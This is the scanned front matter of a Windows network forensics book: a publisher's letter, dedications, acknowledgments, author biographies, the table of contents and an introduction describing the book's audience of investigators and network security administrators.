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Dear Reader,

Thank you for choosing Mastering Windows® Network Forensics and Investigation, Second Edition.
This book is part of a family of premium-quality Sybex books, all of which are written by out-
standing authors who combine practical experience with a gift for teaching.

Sybex was founded in 1976. More than 30 years later, we're still committed to producing consis-
tently exceptional books. With each of our titles, we're working hard to set a new standard for
the industry. From the paper we print on, to the authors we work with, our goal is to bring you
the best books available.

I hope you see all that reflected in these pages. I'd be very interested to hear your comments and
get your feedback on how we’re doing. Feel free to let me know what you think about this or
any other Sybex book by sending me an email at nedde@wiley. com. If you think you've found

a technical error in this book, please visit http://sybex.custhelp.com. Customer feedback is
critical to our efforts at Sybex.

Best regards,

0\ 1,

Neil Edde
Vice President and Publisher
Sybex, an Imprint of Wiley



To my parents, with thanks for the countless times
you have helped me along the way.
—Steve Anson

To Donna, my loving wife and partner for life, for
your unwavering love, encouragement, and support.
—Steve Bunting

To my wife Stacy and my sons Finn and Declan, for
your loving support, understanding, and most of
all your patience. I wouldn't be where I am without
you all.

—Ryan Johnson

To my mother, Geneva Tucker, for introducing me to
this digital world and for instilling in me the passion
to work hard, while smiling in the face of adversity.
—Scott Pearson



Acknowledgments

Any work of this magnitude requires the hard work of many dedicated people, all doing what
they enjoy and what they do best. In addition, many others have contributed indirectly, and
without their efforts and support, this book would not have come to fruition. That having been
said, there are many people deserving of our gratitude.

Our appreciation goes to our development editor, Mary Ellen Schutz, Gentle Editing LLC, our
technical editors Lance Mueller and Rob Lee, and the entire team at Wiley for helping keep us
on track and focused on the task at hand. Without them, this book would never have been com-
pleted. Finally, we would like to thank Aleksandar Palauzov for helping us test, document, and
verify many of the facts and updates in this version of the book.

—The authors

The field of computer crime investigation is constantly evolving to try to address the challenges
that come with each new technology, and no individual can keep up with this ever-changing
landscape. Just as each case and each new incident require a group effort to address it, so did

this project. I would like to thank all of my coworkers, students, teachers, and friends who have
worked with me over the years and have shared their knowledge, trust, and insight. The team

at Forward Discovery deserves special recognition for their daily contribution to my personal
knowledge pool and for the countless times I reached out to them for advice while updating this
version of the book. My thanks go to all of my previous coworkers at the former Sytex training
group who worked with me to develop my initial understanding of many of the topics presented
in this book, as well as to the hundreds of students who taught me as much as I ever taught them.
Thanks also to everyone at the PD. for the opportunities and friendships that you provided. To the
agents of the FBI Task Force, the Defense Criminal Investigative Service, and the crew at the U.S.
Department of State, Bureau of Diplomatic Security, Office of Antiterrorism Assistance - Cyber
Division, I extend my heartfelt appreciation for the mentoring, knowledge, and friendship that you
have shown to me. A special thanks goes to my coauthors, for their tireless and exceptional contri-
bution to this project. Finally, I thank Juliet for being my rock in a sea of shifting sands.

—Steve Anson

The study of computer forensics can'’t exist within a vacuum. To that extent, any individual
examiner is a reflection and product of his instructors, mentors, and colleagues. Through them
we learn, share ideas, troubleshoot, conduct research, grow, and develop. Over my career, I've
had the good fortune of interacting with many computer forensics professionals and have
learned much through those relationships. In no particular order, I would like to thank the fol-
lowing for sharing their knowledge over the years: Keith Lockhart, Ben Lewis, Chris Stippich,
Grant Wade, Ed Van Every, Raemarie Schmidt, Mark Johnson, Bob Weitershausen, John Colbert,
Bruce Pixley, Lance Mueller, Howie Williamson, Lisa Highsmith, Dan Purcell, Ben Cotton,
Patrick Paige, John D’Andrea, Mike Feldman, Mike Nelson, Joel Horne, Mark Stringer, Fred
Cotton, Ross Mayfield, Bill Spernow, Arnie “A.].” Jackson, Ed Novreske, Bob Moses, Kevin
Perna, Dan Willey, Scott Garland, Erik Miyake, Art Ehuan, Ryan Johnson, Shawn Fleury, Steve
Williams, and Scott Pearson.

A special thanks also goes to Steve Anson, who is my fellow author on this project. Steve is a
long-standing friend and mentor. He was a super partner in this endeavor, and his contribution
to this work is immeasurable.



Last, but by no means least, I would like to acknowledge the contributions by my family. My
parents instilled in me, at a very young age, an insatiable quest for knowledge that has persisted
throughout my life, and I thank them for it along with a lifetime of love and support. My best
friend and loving wife, Donna, encouraged and motivated me long ago to pursue computer
forensics. While the pursuit of computer forensics never ends, without her support, sacrifices,
motivation, sense of humor, and love, this book would never have been completed.

Thank you everyone.

—Steve Bunting

I'hadn't intended to get into a career in computers. When I was a kid, I wanted to be many
things, but never once did I say that I wanted to investigate computer intrusions for a living. I
got my first computer in the early '80s and it was downhill from there.

I wish I could thank all the people in my life who helped to get me where I am now; however,
I'm told that I'm not allowed to blow my page count by doing so. So for once in this book, I will
be brief.

Thank you to my wonderful, loving, patient, and supportive wife, Stacy, for encouraging me
to undertake this project and almost every other worthwhile endeavor I've embarked on. Your
encouragement, sacrifice, and (sometimes forceful) prodding were instrumental to my being
able to complete this process.

Thank you to my son, Finn, for letting me experience the sheer joy with which you engage
your surroundings and for teaching me that it’s a lot more fun to eat spaghetti with your hands—
and to the BT folks who taught me that that should really be considered more of a metaphor than
anything else. Thank you to my son Declan, whose interaction with the world is a sight to behold
and a source of constant enjoyment and wonder.

Thank you to Toby Terrill for being the person responsible for my stepping out of the safety
of my lab and doing some very gratifying work with the U.S. military in Iraq. Thank you to
Chris Chappell for always being there to laugh about the silliness all around us.

Thank you to Ray “NMN” Reyes, Scott Pearson, Lance Mueller, Steve Bunting, Jason Fry,
Charles Giglia, Rob Lee, and Jansen Cohoon for never ceasing to entertain my questions and
crazy concepts, even in the dead of night and from one side of the world to the other.

—Ryan Johnson

Digital forensics is an exciting field that attempts to satisfy the insatiable addiction for knowl-
edge (and the latest technology) that exists in a very special group of people. I have had the great
fortune of being introduced to some really great minds and shockingly interesting personalities
who have collectively taught me how to research, but more important, how to think outside of
the box—for this is where the bad guys we chase live and operate. Lance Mueller, Steve Bunting,
Steve Anson, and Ryan Johnson—it has been a pleasure working with you on this project, and I
am humbled that you would allow me into your circle to collaborate on your vision. Thank you
for taking that chance when you really didn’t have to.

To my colleagues at the U.S. Department of State, Bureau of Diplomatic Security, Office of
Antiterrorism Assistance - Cyber Division—I can’t thank you enough for investing the time and
patience to show me the ropes and how to be a true professional in this field. It is because of
your efforts that I have the confidence and credibility to even attempt a project such as this.

To my best friend and staunchest critic, Liezel Pearson—thank you for sacrificing your time
and patience (and sanity) so that I could be a part of this book. You are the “glue” and I appreci-
ate your countless words of encouragement when I needed them and the swift kicks to the back-
side when I needed them more.

—Scott Pearson



About the Authors

Steve Anson is currently the managing director of Forward Discovery Middle East

(www . forwarddiscovery. com) providing digital forensics, incident investigation, and IT security
solutions to clients in the Middle East, Africa, and Asia markets. He is an active instructor for
the U.S. Department of State, Bureau of Diplomatic Security, Office of Antiterrorism Assistance -
Cyber Division, providing training to law enforcement agencies, prosecutors, and judges around
the world. Steve is a former special agent with the Pentagon’s Defense Criminal Investigative
Service, where he conducted network investigations involving U.S. military systems. He holds

a master’s degree in computer science, as well as numerous industry certifications. As a former
contract instructor for the FBI, he taught hundreds of veteran federal agents, state and local
police officers, and intelligence agency employees techniques for conducting computer-intrusion
investigations. He also founded and supervised a local police department computer crime and
information services unit and served as a cyber task force agent for the FBI. He has conducted
investigations involving large-scale computer intrusions, counterterrorism, crimes against chil-
dren, and many other offenses involving the substantive use of computers. Steve can be reached
at steveanson@gmail.com.

Steve Bunting is a retired captain with the University of Delaware Police Department, where he
was responsible for computer forensics, video forensics, and investigations involving computers.
He has more than 35 years of experience in law enforcement, and his background in computer
forensics is extensive. Currently, he is a senior forensic consultant with Forward Discovery, Inc.,
where he is responsible for conducting forensic examinations, electronic discovery planning
and processing, investigative consultation, and course development and instruction. He devel-
ops courses and instructs for the U.S. Department of State, Bureau of Diplomatic Security, Office
of Antiterrorism Assistance - Cyber Division. He is a Certified Computer Forensics Technician
(CCFT), EnCase Certified Examiner (EnCE), and an Access Data Certified Examiner (ACE).

He was the recipient of the 2002 Guidance Software Certified Examiner Award of Excellence.

He holds a bachelor’s degree in applied professions/business management from Wilmington
College and a computer applications certificate in network environments from the University

of Delaware. He has conducted computer forensic examinations for numerous local, state,

and federal agencies on a variety of cases, including extortion, homicide, embezzlement, child
exploitation, intellectual property theft, and unlawful intrusions into computer systems. He has
testified in court on numerous occasions as a computer forensics expert. He has taught computer
forensics for Guidance Software, makers of EnCase, and taught as a lead instructor at all course
levels. He has been a presenter at several seminars and workshops, is the author of numerous
white papers, and is the primary author of the book EnCase Computer Forensics: The Official EnCE:
EnCase Certified Examiner Study Guide, First Edition, Second Edition, and Third Edition. You can
reach him at bunting.steve@gmail.com.

Ryan Johnson is a senior forensic consultant with Forward Discovery. He is a former digital
forensics examiner for the Durham Police Department in Durham, North Carolina, where

he helped develop, equip, and implement their initial digital forensics capability. He left the
Durham Police Department in January 2007 to deploy with the U.S. Army to Iraq, where he
served as a media exploitation analyst working with the brave men and women of the 25th ID,
1st CAV, and 4th ID. After leaving Iraq, he started with Forward Discovery, where he performs



a variety of tasks including digital forensic examinations, electronic discovery, intrusion
response, security consultations, and course development and instruction. He is an instructor
and course developer with the UU.S. Department of State, Bureau of Diplomatic Security, Office of
Antiterrorism Assistance - Cyber Division. He is a Digital Forensics Certified Practitioner (DFCP),
Certified Forensic Computer Examiner (CFCE), EnCase Certified Examiner (EnCE), and Seized
Computer Evidence Recovery Specialist (SCERS). He holds two bachelor’s degrees from Queen’s
University in Kingston, Ontario, Canada, and a master’s degree from Dalhousie University in
Halifax, Nova Scotia, Canada. He has conducted investigations into some of the largest com-
puter network breaches in the United States and abroad and specializes in theft of intellectual
property cases. He can be reached at johnson.ryan67@gmail.com.

Since 2004, Scott Pearson has provided technical training and investigative consultations over-
seas to foreign law enforcement entities, military personnel, and network/system administra-
tors in Antigua and Barbuda, Bahrain, Bangladesh, Colombia, Egypt, Ethiopia, Greece, India,
Indonesia, Jordan, Kazakhstan, Kenya, Malaysia, Morocco, Pakistan, Philippines, Singapore,
Thailand, Trinidad and Tobago, and Turkey. On behalf of the U.S. Department of State, Bureau
of Diplomatic Security, Office of Antiterrorism Assistance - Cyber Division, he has advised and
trained on topics pertaining to computer and mobile device forensics, network forensics, inci-
dent response, network security, Internet-based investigations, and various advanced consul-
tations with emerging technologies. Pearson has helped design and build numerous digital
forensics labs around the world for law enforcement entities in nations that have requested
assistance from the United States government. Scott is also a certifying instructor on the
Cellebrite UFED Logical and Physical Analyzer Mobile Device Forensics tool. From 2006 to 2007,
Scott was also an instructor for the Department of Defense Computer Investigations Training
Academy in Linthicum, Maryland, where he was a member of the Network Intrusions track
and taught courses in advanced network log analysis to analysts from the United States Marine
Corps, Navy, Air Force, and FBI. You can reach him at spearson47@gmail. com.



Contents at a Glance

INEroduction .. ... Xvii
Part1 ¢ Understanding and Exploiting Windows Networks .............c... 1
Chapter 1 ¢ Network Investigation Overview .................................. 3
Chapter 2 ¢ The Microsoft Network Structure................................. 25
Chapter 3 ¢ Beyond the Windows GUI ............................ ... ....... 63
Chapter 4 e Windows Password Issues ..................... ... ... oii.a.. 85
Chapter 5 ¢ Windows Ports and Services .................................... 137

Part2 ¢ AnalyzingtheComputer ........ccoeveteceeeesccsccssscsceess 157

Chapter 6 ® Live-Analysis Techniques....................................... 159
Chapter 7 ¢ Windows Filesystems .............. ... ... ... ..o, 179
Chapter 8 ® The Registry Structure ............... ... . ... ... ..o ... 215
Chapter 9 e Registry Evidence................. ... ... .. i 257
Chapter 10 e IntroductiontoMalware.................... ... ... ..., 325
Part3 ® Analyzing theLogs ... .ccvviierererererosossssssscssssssssans 349
Chapter 11 o Text-Based Logs ..., 351
Chapter 12 ¢ Windows EventLogs.............. ... ... .. .. ... .. ... 381
Chapter 13 ¢ Logon and Account LogonEvents............................... 419
Chapter 14 o Other AuditEvents............... ... ... .. ... ... .. ... ... 463

Chapter 15 ¢ Forensic Analysis of EventLogs ................................ 505



X |CONTENTSATAGLANCE

Part 4 * Results, the Cloud, and Virtualization .......cccceeeeeeeeeeecens 537
Chapter 16 ® PresentingtheResults............. ... ... ... ... ... ... ... ... 539
Chapter 17 ¢ The Challenges of Cloud Computing and Virtualization........... 565
Part5 © APPENAiCeS . .. cvvvvveeeeeessoooosossssssssssssssssssssssans 597
Appendix A e TheBottom Line............. ... ... ... .. . oL, 599
Appendix B e Test Environments................ ... . .. .. 633



Contents

INFPOAUCHION . . o o e e e e e e Xvii
Part1 ¢ Understanding and Exploiting Windows Networks.........ccceeiveeeenenn. 1
Chapter1 ¢ Network Investigation Overview........ccoeeeeeeeeeennacnns 3
Performing the Initial Vetting ............... . .. ... ... . 3
Meeting with the Victim Organization .................. ... ... ... .......... 5
Understanding the Victim Network Information.............................. 6
Understanding the Incident .................... .. 8
Identifying and Preserving Evidence ............. ... ... ... ... ... oL 9
Establishing Expectations and Responsibilities ........................... ... 11
Collecting the Evidence. . .......... ... i 12
Analyzing the Evidence .......... ... ... .. 15
Analyzing the Suspect’s Computers. ........... ... ... 18
Recognizing the Investigative Challenges of Microsoft Networks ................. 21
The Bottom Line. . . .. ..o 22
Chapter 2 ¢ The Microsoft Network Structure .........cceeeeveesccannes 25
Connecting Computers. ........ ... i 25
Windows Domains . ..........i i 27
Interconnecting Domains . ............... 29
Organizational Units . ....... ... ... .. 34
Users and Groups. ... ..ot 35
Typesof Accounts. .......... ... 36
GIOUPS ettt 40
Permissions. . . ..ot 44
File PermiSsions . ... ... ...t 45
Share PermiSsions. . . ... ...ttt 48
Reconciling Share and File Permissions . ...................... ... ... . ..., 50
Example Hack. ... ... . 52
The Bottom Line. . .. ..o e e 61
Chapter3 * Beyondthe WindowsGUIL........ccoeveereeenscceoscannnes 63
Understanding Programs, Processes, and Threads .............................. 64
Redirecting Process Flow . ....... ... ... ... i 67
DLL Injection. . ... 70
HooKing . ... o 74
Maintaining Order Using Privilege Modes. ................. ... ... ... ... .... 78
Using Rootkits . ... ... ... 80

The Bottom Line. . ... .. 83



X1

CONTENTS

Chapter4 ¢ Windows PasswordIssues ........cccceeeveecocccssccccess 85

Understanding Windows Password Storage . ......................... ... oo... 85
Cracking Windows Passwords Stored on Running Systems ...................... 88
Exploring Windows Authentication Mechanisms . .............................. 98
LanMan Authentication. . . ... i 99
NTLM Authentication . . ......c. ittt e e 103
Kerberos Authentication . ............ .. i e 108
Sniffing and Cracking Windows Authentication Exchanges . .................... 111
Using ScoopLM and BeatLM to Crack Passwords ........................... 114
Cracking Offline Passwords. . ......... ... ... . i 121
Using Cain & Abel to Extract Windows Password Hashes.................... 122
Accessing Passwords through the Windows Password Verifier................ 126
Extracting Password Hashes from RAM ............... ... ... .. ... ...... 127
Stealing Credentials from a Running System ............................... 128
The Bottom Line. . ... ..o 134
Chapter5 ¢ Windows Portsand Services ........cceeeeeeneccconccnnss 137
Understanding Ports . .......... . 137
Using Portsas Evidence ........... ... . . i i 142
Understanding Windows Services ............... ... ..o o i, 149
The Bottom Line. . . ... . 155

Part2 ¢ Analyzingthe Computer........ccceeeeeeescccessccssscsesscsecnssses 157

Chapter 6 ¢ Live-Analysis Techniques.......ccccceeteeeescccescceessa159

Finding Evidence in Memory. .......... ... i 159
Creating a Windows Live-Analysis Toolkit.................. ... ... ... ... ... 161
Using Dumplt to Acquire RAM from a 64-Bit Windows 7 System. ............. 164
Using WinEn to Acquire RAM from a Windows 7 Environment. .............. 166
Using FTK Imager Lite to Acquire RAM from Windows Server 2008........... 167
Using Volatility 2.0 to Analyze a Windows 7 32-Bit RAM Image............... 169
Monitoring Communication with the Viectim Box ................... ... ... ... 173
Scanning the Victim System. . .......... ... ... . . 176
TheBottom Line. ... ... .. . 178

Chapter7 ¢ WindowsFilesystems.........cccceeeeeeeccososssssccesssl79

Filesystems vs. Operating Systems . . ............. ... ... o .. 179
Understanding FAT Filesystems . ............ ... ... .. 183
Understanding NTFS Filesystems. . ........... .. ... ... . .. ... 198

Using NTFS Data Structures. . .............. i 198

Creating, Deleting, and Recovering Datain NTFS........................ ... 205
Dealing with Alternate Data Streams. ............ ... ... ... .. ... ... 208
The exFAT Filesystem . ....... ... i 212

The Bottom Line. . .. ..o e e e 213



CONTENTS

Chapter 8 ® The Registry Structure ........ccceeceeescccescccnsccoesss215

Understanding Registry Concepts ............ ... i, 215
Registry History ... 217
Registry Organization and Terminology ................. ... ... .. ... ...... 217

Performing Registry Research............... .. ... ... ... i 228

Viewing the Registry with Forensic Tools..................................... 232

Using EnCase to View the Registry ............. ... ... ... ... ... ..., 234
Examining Information Manually............. ... ... .. . ..o oL 234
Using EnScripts to Extract Information .................................... 236

Using AccessData’s Registry Viewer........... ... ... ... ... ... ... ... ... 246

Other Tools . ... ..o o 251

The Bottom Line. ... ... . 254

Chapter9 e RegistryEvidence .......ccceoteeeereeeescceoscscossconns 257

Finding Information in the Software Key ................. ... ... ... ... ... ... 258
Installed Software. ............ . 258
LastLogon....... ... 264
Banners. ... ... 265

Exploring Windows Security, Action Center, and Firewall Settings............... 267

Analyzing Restore Point Registry Settings .................................... 276

Windows XP Restore Point Content ............ ... ... ... ... . .. .. 280

Analyzing Volume Shadow Copies for Registry Settings........................ 284

Exploring Security Identifiers .......... ... .. .. ... . 290
Examining the Recycle Bin............... .. ... ... ... L 291
Examining the ProfileList Registry Key . .............. ... ... .. ... ... ... 293

Investigating User Activity.......... ... ... . 295
Examining the PSSP and IntelliForms Keys ................................ 295
Examiningthe MRUKey......... ... .. o i i 296
Examining the RecentDocs Key........... .. ... ... oo i, 298
Examining the TypedURLs Key.......... ... ... ... .. 298
Examining the UserAssistKey............ ... ... ... .. . oL, 299

Extracting LSA Secrets ....... ... .. i 305
Using Cain & Abel to Extract LSA Secrets from Your Local Machine........... 306

Discovering IP Addresses. . ... 307
Dynamic IP Addresses. ............o i 307
Getting More Information from the GUID-Named Interface.................. 309

Compensating for Time Zone Offsets. .. .......... ... ... ... .. i i, 312

Determining the Startup Locations .............. ... ... .. ... ... . .. 313
Exploring the User Profile Areas .............. ..., 316
Exploring Batch Files . ....... ... ... ... .. . . 318
Exploring Scheduled Tasks............... .. ... i i 318
Exploring the AppInit DLLKey .......... ... ... ... i i, 320
Using EnCase and Registry Viewer................... ... ..., 320
Using Autoruns to Determine Startups ....................... ... ... ... .. 320

The Bottom Line. . . ... . 322

X1



X1v

CONTENTS

Chapter 10 ¢ IntroductiontoMalware.........cccceeeeeccccccsscccsss325

Understanding the Purpose of Malware Analysis.............................. 325
Malware Analysis Tools and Techniques. ..................................... 329
Constructing an Effective Malware Analysis Toolkit......................... 329
Analyzing Malicious Code ............... .. i 331
Monitoring Malicious Code ............. ... ... i 338
Monitoring Malware Network Traffic................. ... ... ... ... ... 346
The Bottom Line. . . ..ot e e e 348
Part3 ¢ AnalyzingtheLogs. .. ..ccvvveteernereeseercescescsncesssnsonsonsons 349
Chapter11 o Text-BasedLogS .....ccoeveereeeeseneescsenssscosssnnns 351
Parsing IISLOZS . .. ..o 351
Parsing FTP Logs ... ..o 362
Parsing DHCP Server Logs. . ...t 369
Parsing Windows Firewall Logs .............. ... ... .. o ... 373
Using Splunk. . ... 376
The Bottom Line. . .. ... 379
Chapter12 ¢ WindowSEVENtLOgS ... .ccvvveveereeeescsenssscosssnnns 381
Understanding the Event Logs .............. ... ... ... . .. .. 381
Exploring Auditing Settings.............. .. ... ... 384
Using Event Viewer ............... ... ... ... ... ... ... .. 391
Opening and Saving EventLogs ....................o oo 403
Viewing EventLogData ................... ... ... ... ... o oo 407
Searching with Event Viewer........... ... .. .. ... ... .. . i 411
The Bottom Line. . ... ... 418

Chapter 13 ¢ Logon and AccountLogonEvents.........ccceeeeeeeeeeess.419

Beginatthe Beginning ............ ... ... . ... 419
Comparing Logon and Account Logon Events . ............................. 420
Analyzing Windows 2003/2008 Logon Events .............................. 422
Examining Windows 2003/2008 Account Logon Events . ..................... 433

The Bottom Line. . .. ..ot e e e 462

Chapter14 ¢ Other AUdit EVeNtS ......ccccveeecceoscccosccansccoess 463

The Exploitation of a Network. ......... ... .. ... ... 463
Examining System Log Entries ..................... . ... ... o oo 466
Examining Application Log Entries . ................ .. ... ... ... ... 473
Evaluating Account Management Events ..................................... 473
Interpreting File and Other Object Access Events .............................. 490
Examining Audit Policy Change Events ...................................... 500

The Bottom Line. . ... ... 503



Partg4 ¢

Parts e

CONTENTS

Chapter 15 ¢ Forensic Analysisof EventLogs ......cccccevveceescccess.505

Windows Event Log Files Internals. . . ............ ... ... ... ..o o .. 505
Windows Vista/7/2008 Event Logs . ........... ..., 505
Windows XP/2003 Event Logs . ... 513

Repairing Windows XP/2003 Corrupted Event Log Databases................... 524

Finding and Recovering Event Logs from Free Space........................... 527

TheBottom Line............ ... 536

Results, the Cloud, and Virtualization ...........ccceeeeeeeeccoccoeans 537

Chapter 16 ¢ PresentingtheResults............cciiiiiiiiiiiennennen, 539

ReportBasics............... ... 539

Creating a Narrative Report with Hyperlinks ................................. 542
Creating Hyperlinks. . ......... ... 543
Creating and Linking Bookmarks............. ... ... ... ... ... 546

The Electronic Report Files. .. ...... ... ... 550

Creating Timelines. .. .......... .. 552
CaseMapand TimeMap. . ... 552
Splunk. . ... 555

Testifying about Technical Matters............... ... ... ... .. ... ... ...... 560

TheBottom Line............. ... 562

What Is Virtualization? . . .. ... o e e 566
The Hypervisor ... 569
Preparing for Incident Response in Virtual Space .............................. 571
Forensic Analysis Techniques ............... .. ... ... i i 575
Dead Host-Based Virtual Environment ................ ... ... ....ciiuin.... 576
Live Virtual Environment. .. ... 584
ATt acts . .o 586
Cloud Computing . ... 587
What IS TE2. . o 587
1S 1 74 el <1 A PP 588
Forensic Challenges . .......... ... i 589
Forensic Techniques.......... ... ... . 589
The Bottom Line. . ... ... 595

APPENdiCeS. . ¢ e vvtveettetetsccesscsssstssssccssssscsssssssscssssss 597

AppendixA ¢ TheBottomLine........ccoeeeeeeerececcscoccosonssnnss 599
Chapter 1: Network Investigation Overview. .................................. 599
Chapter 2: The Microsoft Network Structure ......................... ... ... ... 601

Chapter 3: Beyond the Windows GUL. .............. ... ... ... . i i 602

XV



XV1

CONTENTS

Chapter 4: Windows Password Issues .................... ... ... ..., 604
Chapter 5: Windows Ports and Services. . ................... ... ... ........ 606
Chapter 6: Live-Analysis Techniques . ............ ... ... ... . ... ... ...... 608
Chapter 7: Windows Filesystems. ............ .. ... ... ... ... .. .. 609
Chapter 8: The Registry Structure. ............ ... .. ... ... i .. 611
Chapter 9: Registry Evidence.......... ... ... ... i i 613
Chapter 10: Introduction to Malware . ............ ... ... ... .. 618
Chapter 11: Text-based Logs. .. ... 620
Chapter 12: Windows Event Logs ............ .. ... ... .. .. i .. 622
Chapter 13: Logon and Account Logon Events................................. 623
Chapter 14: Other AuditEvents.............. .. ... ... ... .. ... ... ... 624
Chapter 15: Forensic Analysis of Event Logs................................... 626
Chapter 16: Presenting the Results . .......... ... ... ... ... ... ... ... 628
Chapter 17: The Challenges of Cloud Computing and Virtualization ............. 630

AppendixB ¢ Test ENVIronments........cceeeeeeeseescescescescessess633

Software. .. ... 633
Hardware. .. ... 635
Setting Up Test Environments in Training Laboratories......................... 636
Chapter 1: Network Investigation Overview ................................ 636
Chapter 2: The Microsoft Network Structure ............................... 636
Chapter 3: Beyond the Windows GUI . ..................................... 637
Chapter 4: Windows Password Issues................. ... ... ... ... 637
Chapter 5: Windows Ports and Services . ...................... ... ... ... 639
Chapter 6: Live-Analysis Techniques ............... ... ... ... ... ... ... 639
Chapter 7: Windows Filesystems . ............. ... ... ... ..o o oL 640
Chapter 8: The Registry Structure............. ... ... .. .. ... .. 640
Chapter 9: Registry Evidence ............. .. ... ... i 642
Chapter 10: Introduction to Malware .................... ... ... . ..., 643
Chapter 11: Text-Based Logs ... ... 643
Chapter 12: Windows Event Logs. . ......... ... . ... oo i, 644
Chapter 13: Logon and Account Logon Events .............................. 644
Chapter 14: Other AuditEvents . ......... ... ... ... ... ... ... .. ... 644
Chapter 15: Forensic Analysis of EventLogs ................................ 645
Chapter 16: Presenting the Results. . ........... ... ... ... ... .. ... 645
Chapter 17: The Challenges of Cloud Computing and Virtualization........... 645
............................................................................ 647



Introduction

This book is about conducting a thorough investigation into incidents that occur in a

Windows network. While that may seem like a fairly specific set of criteria, the reality is that
thousands of such incidents occur every day, and although many people are able to provide
some type of initial response, the pool of people qualified to fully investigate these incidents is
surprisingly small. Incidents can range from misuse of company computers, to theft of corporate
secrets, to intrusion into sensitive government computer systems. While each incident is unique
and the severity of these incidents varies wildly, the skills needed to conduct an investigation
into these types of incidents are remarkably similar. This book will provide you with many of
those skills.

With more information, money, and power being placed into information systems every day,
it is no wonder that the criminal element has embraced the computer as a tool. Whereas con art-
ists of the past would target individual people on the street, they now target thousands at a time
through e-mail phishing schemes. With vast sums of money moving from bank to bank not by
armored car but by encrypted network traffic, it is no wonder that organized crime has come
to rely on computer intrusion and electronic extortion as a preferred method of theft. Changes
in technology have brought with them changes in criminal behavior, and with that must come
changes in the law enforcement and security community response.

The computer security and law enforcement communities have done a good job of respond-
ing to many of these challenges. Most network security staff have a good understanding of the
mechanics of computer intrusions and how to mitigate their exposure to such attacks. In addi-
tion, most law enforcement agencies currently have computer forensics capabilities that allow
them to recover evidence stored on digital media using proper evidence-handling techniques.
The current field of development seems to be in the areas where these two disciplines intersect.
Most law enforcement agencies are very skilled at handling incidents involving one or two com-
puters, and network security personnel are able to recover from network incidents fairly quickly.
Effectively investigating a network incident requires a combination of the law enforcement offi-
cer’s investigative prowess and the technical expertise of the administrators.

This book attempts to bring these two disciplines together for a meeting of the minds. As
more and more computer systems become interconnected, more criminal cases are involving
not single computers but entire networks. However, as network security administrators recover
from each security incident, they frequently destroy much of the evidence that a trained inves-
tigator could have used to piece together a picture of what occurred and what other damage
might still lie hidden throughout the network. Similarly, when law enforcement or private net-
work investigators arrive, they frequently lack the background in network administration and
network investigation necessary to comprehend the entire scope of an incident.
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This book will bridge the gap between the initial response of a network security team to per-
form a quick assessment and damage control and the more long-term goal of law enforcement
to identify and prosecute an offender. We will discuss the initial stages of evidence collection,
in which both network security and law enforcement personnel may be involved, as well as the
more detailed analysis of log data, malicious software, and modus operandi that follow. Our
approach will be to educate you on technical details of how these networks function, to show
you how attackers can exploit these networks, and finally to teach you to detect and preserve the
evidence of criminal activity that occurred in a network.

With Microsoft’s dominance in the current marketplace, it seems surprising that there are not
more books that address the techniques required to conduct a thorough incident investigation
within a Windows network. While there are many exceptional books on providing an initial
response to an incident, there are few that go to the next level of discussing how to thoroughly
investigate that incident to its logical conclusion. This book will attempt to fill that void. We will
focus on Windows networks, not because they are more important than networks consisting of
other types of systems, but because we must focus our efforts somewhere in order to provide a
more in-depth treatment, and Windows machines dominate the majority of current networks.

Who Should Read This Book?

This book is designed primarily for two groups of people. First are the law enforcement or pri-
vate network investigators who are responsible for locating, collecting, analyzing, and testifying
to evidence of unauthorized activity on a computer or network of computers. Second are the
network security administrators who live each day in the IT trenches fighting the good fight
against a continuous onslaught of attackers. While the first group may have ultimate respon-
sibility for conducting a thorough investigation and seeking charges in court or at an internal
administrative hearing, the second group has a vested interest in seeing that process succeed.
Since many of the actions taken by initial security response can set the tone for an entire inves-
tigation, it is in everyone’s best interest to understand the process, from the first admin to notice
the problem to the final prosecutor making the case before the court.

Our approach is part computer science text, part network security manual, and part investi-
gative notes. We will draw from real-case examples where appropriate to illustrate our points
and will always attempt to draw real-world implications to any theory that we discuss. We will
demonstrate how attackers do their business, so that you will be better informed as to how to
do yours. We will provide many examples of tools and techniques that you can utilize in your
investigations and will provide you with enough detailed information to do so.

At times, you may feel that the information being presented is almost too detailed. We firmly
believe that it is not enough to know how to perform a certain technique, but you must also be
able to explain why you would do so. It is incumbent upon the investigator to realize that in the
end, an investigative technique is only as good as the investigator’s description of it in court.
While you may know how to do all sorts of technically complicated tasks, if you cannot clearly
explain to a jury what you did, and you cannot clearly articulate your actions under cross-
examination by a defense attorney, then all of your efforts may be for naught. By providing you
not only with information on how to find evidence but also with the understanding of why that
evidence will be present and what it means in context, we hope to arm you with the information
you will need not just during the initial response but also throughout the investigation and ulti-
mately into the courtroom.
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What You Will Learn

This book is not is a step-by-step guide or a best-practices manual. While such rote methods
may be appropriate in some disciplines, network investigation is far too complex for a follow-
the-recipe approach. Instead, we will arm you with the information you will need to assess each
unique case and make the investigative decisions that you will need to make based on the facts
of each investigation. Following all of the techniques outlined in this book for every case would
be foolish. You will learn to assess the variables involved for yourself and perform the actions
that are most appropriate for your case. When reading this book, always remain cognizant of
the fact that there are many different types of investigations that can involve a Windows net-
work, and each case will be unique. The steps to investigating an intrusion into a government
network perpetrated by a foreign country will definitely be different than those involved in
investigating the storage of pornography by an employee on a corporate server. As more crimi-
nals turn to computers as a means to further criminal acts, this variety will only increase, and
your need to make informed investigative decisions will be even more critical.

Since this book bridges different disciplines, finding an adequate starting point is a chal-
lenge. The book is designed as an intermediate-to-advanced text on conducting network
investigations in a Windows environment. It is not intended to be a person’s first introduction
to computer investigation, and we will assume a good deal of knowledge on your part. We’ll
assume you have the ability to perform basic computer forensic acquisitions and analysis as well
as have a basic knowledge of investigative procedure, but a lack of this knowledge should not
leave you in the dark. We will also assume a basic familiarity with computer network technol-
ogy and basic network design. With that being said, we do not want to leave any readers behind
and have designed the first two chapters as primers.

A major premise of this book is that it is vital for a network investigator to understand the
technology and function of networks. Since each investigation is unique, the investigator will
be required to make numerous decisions throughout the investigation that will greatly impact
the likelihood of success. Without thorough understanding of how Windows networks function,
an investigator will not be properly equipped to make these decisions and might hinder the
investigative process. At the same time, we limit detailed technical discussion to areas that are
relevant to conducting investigations and do not go into detail where it is not warranted. Try to
stick with us through some of the denser technical material. The journey will lead you to a place
of better technical understanding and improved investigative ability.

What You Will Need

This book contains many specific examples of how to use particular tools or products to fur-
ther your investigations. We have made an effort to focus on tools that can be freely acquired

or those that are already in wide use by law enforcement and network security organizations.
While we will mention specific products in order to provide concrete examples, we do not
endorse any of the products that we mention. We also do not attest to their safety or fitness for
use. As with anything else, use your common sense and best judgment to determine the appli-
